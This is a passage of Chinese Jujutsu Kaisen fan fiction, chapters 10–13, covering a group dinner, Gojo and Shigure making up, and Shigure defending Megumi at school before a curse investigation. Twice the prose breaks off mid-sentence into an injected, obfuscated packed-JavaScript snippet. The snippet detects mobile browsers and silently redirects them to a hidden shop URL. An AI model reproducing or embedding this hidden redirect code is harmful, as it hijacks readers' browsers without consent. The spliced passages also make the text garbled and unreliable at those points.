「家入硝子:今晚7点,新宿‘二重奏’居酒屋聚餐。七海和歌姬他们也来,带着辅助监督们一起。」 与此同时,高专的医务室里弥漫着一股略带苦味的烟草气息。家入硝子咬着一根没有点燃的烟,神色倦怠地整理着药柜,余光扫到瘫在她的办公椅上不停转圈的五条悟。 这位最强咒术师已经在她这里赖了半个小时了,一会儿把她的人体骨骼模型摆成奇怪的造型,一会儿又无聊地翻弄着她书架上的书籍,把原本属于她的静谧空间搅得心烦气躁。 “所以,你今天到底来干什么的,五条?”家入硝子放下手中的东西,忍无可忍地敲了敲桌子,抽出打火机点燃了自己口中的烟。 那些因为五条在场而略微收敛的烟瘾,终究是没有压住。 “硝子,最近高专的辅助监督们是不是都很忙?”五条悟反向跨坐在她的椅子上,停下了转圈,下巴搁置在椅背上,语气懒洋洋中夹着几分真切的困惑,“比如,忙到连回复上司简讯的时间都没有的那种?” 家入硝子吐出一口烟,毫不留情地拆穿他:“最近刚进入夏天,还没到咒灵最高发的时期,最近的大多数任务都击中在京都和北海道。伊地知刚才还路过帮我搬了三箱生理盐水。至于里见,她这两天不是休假?你这种连休息日都会给学生发骚扰信息的家伙,理解不了也是正常的。” 在这认识了十余年的好友面前,五条悟破天荒地没有反嘴,只是小声嘟囔着,“我也没想到她会这么生气嘛……” “她?”家入硝子晃动的烟停顿片刻,捕捉到了意料之外的字眼,“你是说里见?” 她上下打量了一圈五条悟,忽然抽出一把客椅,摆到五条悟面前坐下,翘着腿摆出了一副好整以暇 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还有在高空揽着少女的腰肢时,下意识感受到的弧度,和隔着单薄的T恤的真实体温。 只是瞬间的恍惚和动摇,却像是把他带进了一些久违的绮思,所以脑海一半空白地只记得自己的初衷,忘了一些成年人更体面的说法。 五条悟不说话的时候,线条流畅的侧脸搭配上冷白的头发,多少会显得几分锐利的冷淡。 他只是沉吟了片刻,突然站起身,迈着修长的腿大步跨到硝子身前,弯腰将手直接搭在了她的肩膀上。 “你干嘛?”家入硝子一脸嫌弃。 五条悟沉默了三秒,将六眼集中回了自己身上,精准地捕捉着所有的生理反馈。骨骼密度、咒力流动、体温……都不过是再寻常不过的人体数据,没有那种仿佛有谁在胸腔里放了一把仙女棒一样的奇妙悸动和绮念。 他若有所思地收回手,退后一步,“没事,确认一下而已。” “硝子,今晚是不是七海和猪野都在东京,歌姬也来出任务了是吧?不如今晚聚餐吧?”五条悟忽然思维跳跃地提议,恢复了那副散漫而肆意的笑容,“叫上辅助监督一起怎么样?那种吵闹的居酒屋最解压了。记得用你的名义发简讯哦,毕竟是我的话,不然七海和歌姬一定会拒绝的。” ——这不是挺有自知之明的嘛。 看着五条悟挥挥手离开的背影,家入硝子掐灭手里的烟,在烟雾缭绕中若有所思。 过了片刻,她拿起手机,给几个常年被五条悟折腾的受害者群发了聚餐邀请。 想了想,还是很有道德地给发向时雨的消息多加了一句备注—— 「五条也会来。不想来的话也没关系,不用勉强。」 11. 第 11 章 新宿二重奏居酒屋的移门被拉开时,炭火烧的烟火气伴着鼎沸的人声扑面而来。 “家入小姐的预定,十人的包间。”听到时雨的话语,侍者微笑着带着时雨去往包间的方向。 “这边请。有几位客人已经到场。”侍者贴心地补充着。 于是拐过一道弯,时雨就看到了被单独隔出来的角落包间。并非是和式榻榻米的包间,只是两张长桌拼在了一起,用半面墙和一脸帘子隔出了一片小小的区域,烟火气十足。 看起来隶属于东京校的几位术师都已经到了,家入硝子坐在内侧,旁边依次是七海和猪野,对面是伊地知和略显局促的新田明。 五条悟则大摇大摆地坐在长桌的一头,身边恰到好处地空出了一人的位置。 时雨掀起门帘,颊畔的碎发随着侧身的动作略遮住了一点侧脸。她抬眼时,视线在虚空中和那个从墨镜后投来目光的男人撞了个正着。 今天的五条悟卸下了大多时候绑缚着的白色绷带,换上了圆框的墨镜,在眼镜的边缘露出几缕蓝色眸光。他难得没有穿着高专的制服,而是穿着一件休闲款的白色衬衫,袖口微微卷起,一只手像是无处安放一般搭在旁边空位的靠背处,唇畔的笑意一如往常。 时雨很快地移开了目光,客气而有礼地朝着众人颔首致礼。 “抱歉,来晚了。” 随后,她极其自然地绕过了五条悟的长腿,走到了家入硝子的身旁,坐在了拐角的位置,另一侧隔着一个空位便是新田明和伊地知。 长桌尽头的男人笑容仿佛僵硬了片刻,慢慢直起腰,收回手放在了面前的桌面上,下意识点了几下。 “呵。”家入硝子没忍住轻声笑了一下,举杯喝了口酒挡住自己扬起的嘴角。 眼尖的猪野一脸开朗地看着家入硝子,好奇询问:“家入前辈在笑什么?” 家入硝子左手搭住时雨的肩,放松地朝着身后靠去,意有所指,“只是想到一些有意思的事,所以心情不错而已。” 时雨歪头看着心情似乎不错的家入硝子,眨了眨眼,又接过新田明递给她的酒水单。 “时雨喝点什么?”新田明凑过脑袋,两个年纪相仿的辅助监督早在半年多的相处中熟悉起来,商量着饮品的选择,“要喝酒吗?” 时雨犹豫地梭巡了一圈桌面,先到的人面前都已经摆上了饮品,家入硝子的清酒,七海的威士忌,猪野面前是大杯的扎啤,伊地知则是一杯乌龙茶。 还有五条悟的波子汽水。 家入硝子已经早早喝上了自己点的清酒,顺势插话:“小新田已经二十二了我知道,里见满了喝酒年龄了吗?” 时雨轻皱起鼻子,“我马上就要二十一了,请不要把我当做未成年,硝子前辈。” “这不是只有小孩子才会纠结年龄嘛。”家入硝子揉了揉时雨的脑袋,又在时雨不满的小表情中敛起笑容,“好啦,如果不常喝酒的话,可以试试sawa?这家店的菠萝sawa很出名哦,是会上新鲜菠萝让你自己鲜榨。不过要是你的酒量像那家伙一样,还是老老实实喝软饮吧。” 时雨没有抬头,也知道家入硝子说的是谁。 “诶——居酒屋也好酒吧也好,我都可以奉陪的嘛,喝不喝酒不是都一样吗?” “哪里一样了?和在酒吧点一杯宝宝牛奶的人坐一起,我的男人缘都要归零了好吗?” 在两人的拌嘴声中,时雨和新田明都纷纷选择好了自己的饮品。 不远处的风铃再度响起,包间的帘子被猛地掀开,伴随着一声充满怨念的叹息:“累死了!东京的晚高峰为什么永远都这么挤!” 穿着巫女服的庵歌姬大步跨入,身后跟着一位京都校的年轻男辅助监督。带着极为浓重的打工人怨气,歌姬视线在长桌梭巡了一圈,看到除了坐着几名辅助监督的一头的空位,整个长桌唯一剩下的空位,仅剩下了那个懒散的白毛混蛋边上。 “歌姬,好慢啊。”五条悟单手撑着下巴,另一只手百无聊赖地晃动着面前的波子汽水,瓶中的弹珠发出欠揍的回响。 歌姬面色扭曲了一瞬,努力按下了额角的青筋,回头看了眼身后的辅助监督,还是处于人道主义不情不愿地坐在了五条悟身侧,把辅助监督们中间的空位留给了他。 拿着面前的空茶杯狠狠灌了一口,歌姬恨恨低声道:“要不是那群不省心的臭小鬼,哪里会拖到那么晚——” 家入硝子给歌姬续上了一杯茶,挑眉看着她:“我以为歌姬你至少会比五条要有耐心一点。” 歌姬黑着脸:“不要把我和这种没有教师资格证的人渣混为一谈!” “诶——人家明明是Great Teacher Gojo好吗?学生们都超——爱我诶!”五条悟夸张地拉长着语音,“时雨,不要以为你躲在硝子身后人家就看不到你在悄悄点头哦。” 时雨理直气壮地撇了撇嘴。 “快点收回你那恶心的高中女生自称啊混蛋!”歌姬面色扭曲,一脸同情地看向时雨,“要做这家伙的辅助监督,真是不容易啊,不然转到京都校来吧里见?” 虽然只是去年在长野联合任务的时候的几面之缘,但歌姬倒是仍记得东京校的几位辅助监督。 七海推了推自己的眼镜,“这一点上同感,辛苦了里见小姐。” 歌姬一脸同感地举起茶杯,和七海碰了个杯。 “真是过分呐……”五条悟笑着抱怨,余光在扫到时雨微提起的嘴角时,面上的笑意更真切了几分。 不一会儿,后来的几人点的酒水和烧鸟陆续上桌。家入硝子推荐的菠萝sawa果然是上来了半个鲜菠萝,和一个带着尖螺旋纹的盆子供客人自己榨新鲜菠萝汁。 时雨第一次见到这样的sawa,在新田明好奇的注视下认真将自己的菠萝倒扣在螺旋尖上旋转着,眼眸在看到榨出的菠萝汁时更亮了几分。 咔嚓—— 听到相机的声音,时雨抬起头,晶亮的眼神被五条悟的手机精准捕捉,又是一声快门。 桌上的人都习惯了五条悟看到什么都想要拿手机拍下的奇怪习惯,大约也都留了不少黑历史在某人的手机里,只是不知道这回又是什么戳中了他奇怪的收藏欲。 “那个菠萝有时雨头那么大诶——”五条悟面对众人的目光,坦然地吐槽着。 时雨对五条悟的调侃无言以对,面无表情地低下头,继续默默将榨出的菠萝汁倒进旁边的气泡底酒里。 家入硝子又禁不住笑出声。 “五条你——”歌姬带着难评的表情,第二次向时雨发出了邀请,“真的,要不要考虑来京都,我们那边至少没有这种过分的上司啊……” “啧。”五条悟撇嘴。 这回倒是家入硝子打断了歌姬,“歌姬,不要当着一桌东京校的咒术师的面挖角我们的辅助监督啊。” 更多的餐品上桌,众人的话题也很快转移,逐渐分成了咒术师和辅助监督两波的对话。 歌姬拉着硝子聊起了白天出的任务,猪野捧场地给足了情绪价值,七海沉默地边喝着自己的威士忌边聆听着,五条悟则是有一搭没一搭地加入着对话,总是漫不经心地几句话就勾起歌姬十足的怒火。 “里见小姐,这个牛脊也很不错,您可以尝试下。”跟着歌姬一起来的辅助监督佐藤绅士地递过新上的烧鸟,“您刚提起的加强结界很有意思,您是怎么想到这个和符咒融合的方式的?如果有机会的话,下次出任务的时候倒是也希望尝试一下。” 时雨接过烤串,侧过头毫不避讳地分享着自己的设计思路,淡金色的发丝调皮地拂过她的侧颊,引得她伸手将那缕碎发夹在耳后。 几名辅助监督都认真地听着,佐藤还极为细心地在时雨水杯将空的时候为她续上,换得时雨礼貌的感谢。 坐在长桌尽头的五条悟看起来和平时并没有什么两样,喝完了波子汽水后又点了一杯加冰的可尔必思,嚼动冰块时发出清脆的嘎吱声,有一搭没一搭地插几句话。 “五条前辈?”正因为明天要前往京都出任务,所以正对京都本地人的五条悟询问合适伴手礼的猪野没有得到意料之中的回复,疑惑地看着五条悟。 歌姬眯起眼睛,“你这家伙,怎么今天晚上像是有点不在状态?出任务终于把脑子出傻了吗?” 五条悟漫不经心地又咬碎一颗冰块,轻飘飘地反驳着:“诶——只是在可怜歌姬而已。猪野宁肯来问我这个早就在东京住了这么多年的京都人,也不问京都校的歌姬伴手礼的选择诶。品味完全没有被认可啊。” 猪野忙乱地摆着手,“我没有这个意思!” 长桌另一头,正在听佐藤说话的时雨动作微顿。 “怎么了吗?”新田明关心地拍了拍时雨的手臂。 时雨浅笑摇头,“可以借过一下吗,我想去一下洗手间。” 家入硝子续上了今晚的第三杯酒,淡淡的粉意浮上面颊。她放松地靠在座椅靠背上,虽然远称不上醉,但和这群熟悉的人在一起的时候,不可否认要比在医务室面对那些以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290096|198490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千奇百怪的方式受伤甚至是死亡的咒术师们来得轻松许多。 她偏头看着时雨消失在拐角处通向盥洗室的走廊,不动声色地用余光观察着。 只是大概过了一分钟,长桌另一头的白发男人就懒洋洋站起了身,“我去洗个手。” 歌姬对着五条悟的背影下意识地吐槽着:“忽然犯了大少爷的洁癖吗?吃饭吃到一半去洗什么手?” 转头的瞬间,歌姬忽然捕捉到了家入硝子若有所思的眼神,和她身边的空位。 等等—— 电光火石之间,歌姬敏锐地察觉到了什么,掏出了手机飞快地给家入硝子发了条消息。 「歌姬:五条???」 「硝子:还没开窍。」 两个嗅觉敏锐的成熟女性寥寥几个字就交换完了情报,意味深长地互相对视了一眼。 另一侧,五条悟很潦草地用流水冲了个手,就离开了洗手间,在走廊里迎面遇上刚从女性盥洗室里推门走出来的时雨。 狭窄走廊的灯光略有些昏暗,时雨正低头整理着自己的袖口,抬起头时,白发男人高大的身影像猫一样安静地矗立在她身前不远的距离。 外面居酒屋的欢闹声像是隔了一层纱雾,显得走廊里更加安静了起来。 时雨顿住脚步,下意识抿了抿唇。 片刻的沉默后,两道声音几乎是异口同声地响起—— “抱歉。” 五条悟忍不住轻笑了一声,弯下点腰,墨镜从高挺的鼻梁上下滑了些许,苍蓝的眼眸露出一半,笑吟吟地看着面前的人。 “怎么时雨还道歉了,没有在生气了吗?”大概是情绪松快了些许,他半真半假地抱怨着,“一晚上都坐在角落里,还从进门开始就一直无视我,还以为这次时雨真的超——生气的诶。” 时雨沉默地偏过头去,过了会儿又转了回来,对上了五条悟的眼睛,绷着脸一本正经地回复着:“当时确实很生气,因为五条先生太突然了,我又很讨厌失重的感觉。提前说一声让我有心理预期的话,哪怕最后还是要从百米高空自由落体,至少也不会有太措手不及的感觉。” “唔……”五条悟点头,欲言又止。 时雨鼓了鼓腮帮子,“我知道咒灵不会提前和我打招呼,也知道您不会真的让我受伤。但五条先生和咒灵又不一样。您是大家都很信任的对象,您这就像朝人群里直接放一发「赫」一样突然。” “大家都很信任我吗?”五条悟不置可否地挑了挑眉。 时雨认真看着他,“至少对我来说是的。和五条先生一起的任务,应该所有人都会很安心,毕竟您是最强的。” 五条悟嘴角的笑淡了几分。 “但是——”时雨又跟着补充道,“如果只是五条先生是最强,所以所有事情都交给您去处理的话未免也太过分了。如果有更多的人能够跟得上您的步伐的话,这个咒术界应该会更靠近您想要的样子一些,您也会轻松一点吧?” 苍蓝的眼眸忽然在昏暗的灯光下也亮得惊人。 时雨不为所觉地接着道:“因为想通了这一点,所以其实并没有很生气了。而且是我想要变强,您也确实让我更快掌握了对自己术式的更深应用。但……”她有些尴尬地挠挠脸,目光下垂盯着前方的地面,“稍微有点尴尬所以不知道今天要什么态度面对您才好,毕竟那天闹脾气的行为很不专业,作为辅助监督应该更冷静的——” 一只大手忽然落在她的头顶,轻柔地揉了揉。没有「无下限」的阻隔,温热的触感清晰地传到她的头顶。男人的声音含着比平时更柔和几分的笑意,“我确实是因为看到时雨是少数可以跟上节奏的人,所以一时有点忘形了,抱歉。不过,我倒是觉得时雨愿意直接发发脾气也不错。完全没有情绪的话简直是超可怕的机器人诶——” 他很快收回手,指尖轻轻摩挲后插进口袋。 五条悟直起身,神色是带着期待的认真,“那就变强吧,可不要被我甩开太远啊。时雨。” 时雨怔然片刻,郑重地点了点头,“我会的。” 他隔着几步,跟在耳尖微红的女生身侧走回包间,忽然偏头低声笑了起来,轻声感慨着:“现在的小朋友,真的是超直球的诶——完全是半点含蓄内敛都没有学到的样子啊。” “五条先生。”时雨面无表情地快走了几步拉开和五条悟的距离,“我要撤回我刚才的感动重新开始生气了。” “啊,抱歉呢(めんご)。” ——真是毫无诚意的道歉啊。 12. 第 12 章 夏日的气息好像已经不知不觉地在东京逸散开来,下午的风里都带了几分燥热。 新宿区的一处废弃仓库遗址中,时雨正半蹲在荒草密布的废墟边。她今天穿了一件利落的米白色真丝衬衣,下身是黑色的七分裤,露出一截白皙的脚踝。 “……现场仅一名咒术师咒力残秽,咒灵残秽集中在原生产车间。咒力残秽浓度最高处为承重柱三七等分处……” 时雨一边低声自语,一边在手中的记事本上快速记录着什么,神情清冷而专注。 嗡—— 放在一旁台阶上的手机疯狂震动起来。时雨利落地写完最后一笔,扫到屏幕上跃动的“五条悟”三个字,接通了电话。 “时雨,现在有空吗?”电话那头的声音一如既往地元气满满,却又透露着几分无聊。 “五条先生,没记错的话您现在应该和伊地知先生一起在热海出任务。”时雨站起身,不疾不徐地朝着工厂外围走去,“您该不会是忽然想要为了晚上的花火大会让我来准备什么野餐零食吧?” “诶——我在时雨心里到底是什么刻薄上司的形象啦?”五条悟拉长语调抱怨着,“这种小事我已经交给伊地知了啦。” 时雨:“……真是辛苦了啊,伊地知先生。” 电话那头隐约传来便利店的送客声,然后室外的车流声忽然重了起来。易拉罐被打开的脆响让时雨仿佛都已经能感受到气泡上涌的快乐,另一头的五条悟大概是吞咽了几口新买的饮品,然后心满意足地重新开口:“没办法啦,这里原本叫我来处理的咒灵很会享受生活,只有等到花火大会开始的时候才会出现,那我也只能勉为其难地等一场烟火啦,可惜在那之前就完全抽不开身离开热海了。” 时雨都能预想到五条悟优哉游哉地在热海的街头走着的画面,耐心地听着,“所以,您是需要我做什么吗?总不能是单纯来和我炫耀今天可以公费看一场花火大会吧?” 对面停顿了片刻,“虽然很想说我也不是每次打电话都是要布置什么任务给时雨,但这次确实有事要拜托。” 五条悟轻描淡写地接着道:“是惠啦。你知道那孩子的是吧?听说他在学校里把人揍了。准确来说,是把三个三年级的学生揍进了医院,所以被叫家长了哦。” 时雨顿住脚步。 伏黑惠,那个据说是继承了禅院家“十种影法术”的少年。按卷宗里的说法,目前五条悟应该是那孩子的监护人。虽然不知道造成这种微妙局面的前因后果,但—— “该说真不愧是五条先生监管的孩子吗?”时雨表情一言难尽,像是不经意嚼到了一片柠檬,“您也真是位处变不惊的监护人。 “我就把这当夸奖收下了啦——”五条悟很是无所谓地回应着,“说回惠啦,虽然我是觉得不是什么大事,但对方家长好像坚持要见到惠的家长,不然就要报警处理什么的。我和伊地知都在热海这边,暂时脱不开身,所以——” 时雨木着一张脸,“我想禅院家应该会很乐意会有能给予伏黑同学一些帮助的机会。” “时——雨——”对面拉长着语调黏黏糊糊地念着时雨的名字,甚至给了电话这头的时雨一种仿佛在撒娇的错觉。 时雨走出工厂,望了眼高悬的骄阳,妥协般轻叹了一口气:“地址。” 琦玉县浦见东中学。 位于东京圈的埼玉县距离时雨下午所在的地方车程大约四十分钟。时雨驾车赶到的时候,刚过下午三点,恰逢中学放学开始进入社团活动的时间。 在学校停车场临下车之前,时雨忽然想起什么,打开车内后视镜看着里面的自己。 因为一早就陪着七海出了任务,在送走七海之后又在废墟里钻来钻去复核现场的痕迹写进任务报告,她的脸色在明亮的阳光下显得有些过分素净,甚至带了几分因为疲惫而产生的苍白感。 时雨低头,从随身的手袋里翻出两支细长的口红,犹豫片刻后选择了颜色偏深的那支,对着镜子勾勒着自己嘴唇的轮廓。 百年前的犬神附身者里见莉芳,是出了名的清冷矜贵,堪称四兽神家的门面担当,而这幅容颜放在女性身上时,则是宛若明艳而骄矜的玫瑰,在曾经代代都几乎倾国倾城的里见家巫女伏姬身上体现得淋漓尽致。 而时雨的长相除了琥珀色的眼睛继承自母亲,剩下几乎都随了父亲里见莉芳的标准里见氏长相。琥珀色的眼眸中和了外貌的攻击性,加上两颊还尚未完全褪去的婴儿肥,虽然还算不上过分凌厉的长相,却也完全不同于这个国家街头大部分甜美可爱系的女生。 红棕色的颜色在唇上化开,时雨又抓了抓自己的头发理顺,将一边的金色短发夹到耳后,露出左耳银色简约耳饰。 ——应该,不会显得像太稚嫩可欺吧。 推开车门,时雨朝着手机里五条悟发给他的地址大步走去,平跟的小皮鞋踩在干燥的沥青地面上,发出清脆而有节奏的声响。 穿过青春洋溢拥抱着社团生活的学生们,时雨在教导主任办公室门口停下脚步。门虚掩着,室内并不如她预想中那般炒成一锅粥,倒是充满着奇怪氛围的紧绷感。 时雨推门而入,身上并没有半分作为被叫到学校的“家长”的局促。 教导主任的办公桌是一张长桌。教导主任和一个年级稍长的老师坐在长桌一侧,另一侧则坐着三个鼻青脸肿的高年级生,身侧分别陪伴着自己的家长。 “您是……伏黑同学的家长?”年纪稍长一点的老师疑惑地看着时雨,又将目光看向了办公室角落。 时雨还没有开口,坐在最左边男生身边的中年男人已经冷哼了一声。男人穿着黑色的背心,露出满是刺青的粗壮胳膊,显然是他旁边那位染着非主流黄毛、脸上却还带着淤青的学生的父亲。他双臂环绕胸前,上下打量了一圈时雨,鼻腔发出一声轻蔑的嗤笑:“不是吧,随便派个小姑娘来处理校园暴力?毕业了吗?喂,老师,这能算数吗?” 下一秒,他转过头,对着自己垂头丧气的儿子又是一巴掌,“没用的东西!三个人打一个,还被打成这副德行,老子的脸都被你丢光了!” “荒木先生,还请先冷静一下……”旁边的教师一边擦着额头的汗,一边努力打着圆场。 时雨没有搭理男人挑衅的目光,视线在室内快速扫了一圈。 坐成一排的学生和家长们的最角落,是一位一直保持着沉默的母亲。面对儿子脸上的淤青,她没有叫骂,只是眼神里透露着深深的疲惫,对上时雨的目光也只是有些瑟缩地挤出了一个微笑。 看起来并不是第一次因为这种事情被请到学校。 坐在中间那位正气愤地想要站起来找时雨理论的妈妈,却在刚开口之前,就被身边那个看着像是电视剧里标准校霸形象的男生拽住了袖子。 “妈,别说了……我都说了,不关伏黑哥的事。”那个鼻子里还塞着棉球止血的高年级男生压低了声音,语气里带着一种敬畏和隐约的崇拜,“伏黑哥早就警告过我们不要随便上后山,会有危险,是我们自己非不听,如果不是伏黑哥揍醒我们,我们早就……总之,不是伏黑哥的错。” “你在说什么胡话!”那位妈妈恨铁不成钢地戳了一下儿子的头,狐疑地看着不动声色站在门口的时雨,又看向角落的方向,满脸混杂着质疑和不解。 时雨这才转过头,和办公室里几人的目光一起,看向办公室的角落。 靠墙站着的是一个穿着整齐、校服纽扣认真扣到了最上面一颗的海胆头少年。相较于那三个头发染成了杀马特颜色、校服也只是松松垮垮披在身上的少年,如果不是淤青在谁的身上实在是无法辩驳,伏黑惠简直像是无故被卷入其中的好好学生。 男生抬起头,大约是早就收到了五条悟的消息,没有意外时雨的出现,朝着她微微点头,随即平静地垂下了眼睫。 时雨迈了几步走到伏黑惠的身侧,轻拍了一下少年的肩膀,随即自然地立于伏黑惠的前方。时雨身形高挑,还未发育完全的国中少年被掩在时雨的身影后方,倒是呈现出几分被保护的姿态。 “我是伏黑惠的代理监护人,里见时雨。” 花臂男人皱眉,明显不满:“我们要见的是能做主的人,你才多大,能做什么主?” 时雨声音平静,并没有因为刚才那个花臂男人的无礼而产生波动。她看向教导主任和旁边的老师,神色从容,“五条先生应该已经和您电话告知。” 教导主任轻咳一声,认可了时雨的话。 教导主任身侧年纪稍长的老师自称是伏黑惠的班主任武田老师,三言两语简单解释了事情的来龙去脉。 浦见东中学背靠山林。午后不久,伏黑惠和三名被揍得鼻青脸肿的不良少年一同在后山脚下出现,还被人目击了伏黑惠挥拳揍向三人的场景。 三名学生在医务室简单处理了伤口之后,学校考虑到伏黑惠当初有过揍遍全校不良的“前科记录”,又造成了学生们的受伤,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290097|198490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪怕三名学生缄口不言,还是选择了叫家长的处理。 “孩子受伤,家长担心当然是理所应当的。”时雨安静听着,声音如涓流般清泠淡然,“只是有几件事我还是希望了解清楚。 她平视着室内的几人,“根据校方提供的时间信息,今天下午,伏黑同学对三位同学动手,这是事实。但就目前掌握的信息来看,动手原因尚不明确,所以在校方判断责任归属之前,我并不认为伏黑同学应当被判定为唯一的过错方。” 教导主任蹙眉。 坐在中间的妈妈刚要开口,她儿子又拽住了她的衣袖,压低声音说了什么。 时雨将目光移向那个鼻子里仍塞着棉球的少年。少年大约十五六岁的模样,头发却是少年老成地染成了乱七八糟的颜色,但此刻却是瑟缩在椅子里,敬畏的情绪远远大于愤怒。 “这位同学。”时雨直接开口,“你刚才有提到后山?” 少年抬起头,犹豫了片刻,点了点头。 “伏黑哥说过那里‘会有危险’,”少年的声音带着几分后怕的沙哑,“我们以为是他在那边偷偷干什么,就不信邪,想要过去看看究竟。然后……” 他顿了顿,眼神有些飘忽,像是在回忆些可怕的记忆。 “然后怎么了?”男生的母亲在一旁追问。 “然后我们就有点……不对劲。后山有个垂直度比较高的坡,还有座桥,平时的大家都知道那边危险,所以很少会过去。但那天不知道怎么的,荒木就直接走到了坡的边上想要往下冲,我和另一个人则是在桥边想要直接往下跳。我们不知道脑子里在想些什么东西,好像控制不了自己的腿一样。” 他有些瑟缩地打了个冷颤,抬头看着伏黑惠,像是寻求着什么认可,“是伏黑哥把我们一个个拎回来的,顺带……把我们打清醒。” 除了时雨以外,在场所有的家长和老师都一头雾水的模样。 时雨依旧镇定地提问:“所以由其他同学目击的‘伏黑同学对三名同校学生实施暴力’的行为,就是伏黑同学把你们从危险地方带回的时候?” “是……” 时雨颔首,目光淡淡扫过众人,“看起来目击的几位学生只看到了‘动手’,却并没有看到前因后果,因而造成了误会。如果情况属实,伏黑同学是在三位同学神志不清时采取的紧急处置,而并非是所谓的‘校园暴力’。这一点,我想诸位应该有达成共识。” 花臂男人脸色难看地插话,但在看到自家儿子附和地点头的模样时,敛去了几分怒容,“好端端的人,怎么会忽然在学校里神志不清?后山那里又是怎么回事?怎么你家小子就能提前预警有危险?” 时雨隐约有了几分猜测,面上依旧自若,“后山地形有落差,本就不是学生们日常的活动场地。国中的学生们多少喜欢探险,伏黑同学提醒同学不要在山上放肆玩闹并无过错。至于今天早些时候,三位学生为什么会出现在后山,又做出异常的举动,我想这应该超出了伏黑同学需要解释的范围。” 她清泠的目光落在教导主任身上,“至于校园内为什么会存在危险地域,以及对于学生的风险教育这一方面,我想这大概是校方需要给我们一个解释的地方了。” 顿了顿,时雨最后补充道:“我无意替伏黑同学完全脱责。如果他的处理方式有任何不妥当的地方,我……我们会认真进行教育。但如果不是他的错,也请校方不要轻易将‘故意伤人’的帽子扣在一个仅仅是国中三年级的学生身上。” 教导主任扶了扶眼镜,和身边的武田老师交换了一个眼神,随即清了清嗓子,斟酌着开口:“事情的经过还需要进一步核实。今天暂且先了解到这里,辛苦各位家长特地赶来。我们会和目击同学确认核实后,再出具正式的处理通告。” 离开办公室的时候,走廊上的阳光已经拉长了角度,斜斜透过窗户映入,将人影拉成了细长的一条。 教学楼里已经空了大半,没有了刚放学时的喧嚣。两人顺着楼梯向下走,才听到操场方向传来运动社团的断断续续的活动声。 走出教学楼,时雨并没有朝着来时的方向拐去,而是停下了脚步。 她看向海胆头的少年,“那么,带路吧。” 伏黑惠怔然地看着她。 阳光落在时雨浅金色的头发上,染上一圈淡淡的橙黄。时雨弯了弯眼角,琥珀色的眼眸更添了几分信任的暖意,“后山那边,应该是有咒灵或是咒物出没,不是吗?” 13. 第 13 章 通往后山的碎石路看得出平日并没有人维护,所以并不好走。 ——明明是这种路却还非要上山来探险,国中生真是精力丰沛又好动。 时雨无言地看了眼脚下的碎石子路,指尖飞快地在手机上敲了几行字,发送给了五条悟。 「伏黑同学这边已处理。中学后山疑似有咒物异动,核查中。」 眼前是一片被密林遮蔽的空地,尽头是一座废弃的石桥,据伏黑惠的介绍,叫作八十八桥,时常会有浦见东的学生组团来这里试胆。 桥的两侧是废弃的石台阶,蜿蜒着通向下方布满了碎石的干涸水沟。另一侧却是更深的林地,枝繁叶茂,却没有什么很强的诅咒气息,反而在阳光的映衬下多了几分平静与祥和。 “今天白天发现他们三个的时候,两个人正试图站在这座桥上往下跳,另一个人则是站在那边丛林的边缘,恍惚着像是要滑落一样。” 顺着伏黑惠的手指看去,那片丛林的边缘陡峭,向下有个约莫五六米的陡坡,若是不小心跌落,恐怕也会落入下面干涸的水沟中。 ——河的意象。 时雨把手机推进口袋,单手结印,“由暗而生,暗中至暗。污浊残秽,尽数祓除。” 深色的帐沿着林梢无声滑落,缓缓覆盖整片林地。 伏黑惠看着帐的边缘从头顶落下,双手顺着树叶缝隙的阳光结印,“玉犬。” 一黑一白两只玉犬凭空出现在两人身侧,警觉地看着前方。 时雨目光淡淡扫过两只玉犬,走在伏黑惠的身侧,一同向着八十八桥的方向走去。 “说说吧,从你一开始发现这里的异常开始。” 伏黑惠操纵着两只玉犬开路,一边措辞简练地解释着近期的观察,“这里是学生们之间的试胆圣地,所以常会有低级咒灵出没。我作为长期居住附近的咒术师,定期会在辅助监督的陪同下来巡查和祓除低级的咒灵。但是,大约在一个月前,这边的低级咒灵忽然都消失了。” “消失?”时雨若有所思。 一般的咒物如果出现,时常会吸引更多的低级咒灵,而浦见东中学这里的情况,却是反了过来。 “我曾来确认过,并没有更高级的咒灵出现,所以也并不存在高级咒灵吞噬了低级咒灵的情况。那些咒灵更像是……” 时雨阖眼,放任自己的意识伴随着八房的视野散播开去。半晌,她睁开双眼,呢喃着接话,“被净化了。” 伏黑惠点头,“虽然不知道为什么,但玉犬给我的反馈也是,这片后山的咒力变得格外干净,不像是一个作为学生们的试胆圣地应有的咒力外泄等级。” 白色的玉犬通人性地回身望了一眼,在时雨脚边打了个转,像是感受到了什么令人亲切的气息。 “大概一周多前,这里的气息开始变了。依旧没有咒灵的出现,但变得有些奇怪。偶尔有学生路过边缘,总会有些奇怪的反应。我没有办法判断问题的根源,只是觉得有些不对,所以在之前看到那三个家伙想要靠近的时候,阻止了他们。” “幻觉?”时雨蹙眉。 “应该是。我本来是想等五条先生和伊地知先生回来之后上报,我有些拿捏不准这边的咒物或是咒灵等级,不确定我是否能处理干净。但今天荒木那三个家伙忽然闯入,我就只能跟着进来先阻止他们。” “你有找到咒力的来源吗?”时雨摸了摸站在脚边的白色玉犬的脑袋,一边询问着伏黑惠。 伏黑惠摇头,“我昨天晚上沿着树林的边缘探查过,外缘并没有什么异常。” 